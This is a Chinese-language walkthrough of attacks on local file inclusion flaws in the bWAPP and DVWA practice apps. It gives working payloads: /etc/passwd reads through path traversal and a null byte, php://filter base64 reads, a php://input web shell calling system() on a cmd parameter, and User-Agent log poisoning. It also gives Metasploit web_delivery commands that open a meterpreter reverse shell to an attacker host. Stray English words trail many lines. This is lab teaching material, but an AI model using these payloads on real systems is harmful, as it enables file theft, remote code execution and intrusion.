本文的主要目的是分享在服務器遭受文件包含漏洞時,使用各類技術對Web服務器進行攻擊的想法。 咱們都知道LFI漏洞容許用戶經過在URL中包括一個文件。在本文中,我使用了bWAPP和DVWA兩個不一樣的平臺,其中包含文件包含漏洞的演示。經過它我以四種不一樣的方式執行LFI攻擊。php
在瀏覽器中輸入目標IP,並在BWAPP內登陸(bee:bug),如今選擇bug:remote & local file Inclusion,而後點擊hack。web
打開具備RFI和LFI漏洞的網頁。在下拉列表中選擇語言釋,單擊go按鈕時,所選的語言文件將包含在URL中。 執行基本攻擊操做。windows
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd瀏覽器
在基本的LFI攻擊中,咱們可使用(../)或簡單地(/)從目錄中直接讀取文件的內容,下面的截圖中在瀏覽器URL中訪問密碼文件。安全
在一些狀況下,因爲高安全級別,上面提到的基本本地文件包含攻擊可能不工做。從下面的截圖能夠觀察到,當在URL中執行相同的路徑時,卻沒法讀取密碼文件。 因此當面對這樣的問題,能夠進行NULL byte攻擊。服務器
打開burp suite捕獲瀏覽器請求,而後選擇代理選項卡並開始截取。 不要忘記在使用burp suite時設置瀏覽器代理。session
將攔截的數據發送到repeater。tcp
在repeater中作發送的請求和響應生成的分析。從截圖能夠清楚的看出/ etc / passwd不能讀取。函數
在下面的截圖中,經過在etc/passwd目錄的末尾添加空字符(%00)來轉發請求,而後單擊go選項卡。而後在窗口的右視圖上,密碼文件做爲響應打開。ui
當安全級別高而且沒法查看PHP文件內容時,使用如下PHP函數:
http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd
從如下截圖能夠看到passwd文件內容編碼爲base64,複製整個編碼文本。
使用hackbar解碼複製的編碼文本。
將複製的編碼文本粘貼到彈出的對話框內。
密碼文件的內容:
使用PHP Input函數,經過執行注入PHP代碼來利用LFI漏洞。首先,加載目標網頁URL:
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go
使用PHP input函數:
http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls
而後選中enable Post data複選框,轉發提交的數據,並在給定文本區域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。以下圖所示,最後點擊execute。
經過反向鏈接鏈接目標機器; 在kali Linux中打開終端輸入msfconsole啓動metasploit。
use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.0.104 msf exploit (web_delivery)>set srvport 8081 msf exploit (web_delivery)>exploit
複製下圖中的高亮文本:
將上面複製的PHP代碼粘貼到URL中,以下圖所示,並執行它。
當上面的URL被執行時,將metasploit中得到目標的meterpreter會話。
msf exploit (web_delivery)>session –I 1 meterpreter> sysinfo
若是服務超時,經過LFI利用它。能夠包括存儲User_Agent的proc/self/environ文件,在文件中插入用於執行CMD命令的PHP代碼。
http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ
啓動burp suite攔截瀏覽器請求,並將獲取數據發送到repeater。
將CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent內,並使用GET參數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id發送請求。響應以下圖右側所示。